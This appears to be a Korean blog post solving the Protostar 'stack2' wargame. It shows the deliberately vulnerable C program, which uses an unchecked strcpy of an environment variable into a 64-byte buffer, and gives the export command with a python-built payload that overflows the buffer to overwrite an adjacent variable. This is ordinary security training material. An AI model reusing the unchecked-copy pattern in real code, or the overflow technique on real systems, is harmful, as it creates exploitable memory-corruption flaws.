리마인드차
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
export GREENIE="`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d"'`"
./stack2
'시스템' 카테고리의 다른 글
protostar format1 (0) | 2025.01.28 |
---|---|
protostar stack5 (0) | 2025.01.28 |
Buffer OverFlow 대응방안 (0) | 2022.10.24 |
Init 프로세스 (0) | 2022.10.23 |
Radamsa Fuzzer (0) | 2022.10.22 |